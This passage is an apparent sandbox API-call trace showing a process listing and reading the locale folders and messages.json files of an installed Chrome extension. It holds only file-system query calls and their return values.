	[0066.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.292] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.292] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126526e8 | out: lpFileInformation=0x126526e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1
	[0066.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de"), fInfoLevelId=0x0, lpFileInformation=0x12652738 | out: lpFileInformation=0x12652738*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.293] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.293] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126527d8 | out: lpFileInformation=0x126527d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea)) returned 1
	[0066.294] SetEvent (hEvent=0xb4) returned 1
	[0066.294] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0066.294] SetEvent (hEvent=0xb4) returned 1
	[0066.294] SetEvent (hEvent=0x78) returned 1
	[0066.294] SetEvent (hEvent=0x8c) returned 1
	[0066.294] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.295] SetEvent (hEvent=0xa8) returned 1
	[0066.295] SetEvent (hEvent=0x8c) returned 1
	[0066.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el"), fInfoLevelId=0x0, lpFileInformation=0x12652008 | out: lpFileInformation=0x12652008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.296] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.296] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.296] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.296] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126520a8 | out: lpFileInformation=0x126520a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112)) returned 1
	[0066.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb"), fInfoLevelId=0x0, lpFileInformation=0x126520f8 | out: lpFileInformation=0x126520f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.297] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.297] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.297] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.297] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.297] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652198 | out: lpFileInformation=0x12652198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6)) returned 1
	[0066.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us"), fInfoLevelId=0x0, lpFileInformation=0x126521e8 | out: lpFileInformation=0x126521e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.298] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.298] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.298] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.298] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652288 | out: lpFileInformation=0x12652288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1
	[0066.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es"), fInfoLevelId=0x0, lpFileInformation=0x126522d8 | out: lpFileInformation=0x126522d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.299] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652378 | out: lpFileInformation=0x12652378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1
	[0066.300] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419"), fInfoLevelId=0x0, lpFileInformation=0x126523c8 | out: lpFileInformation=0x126523c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
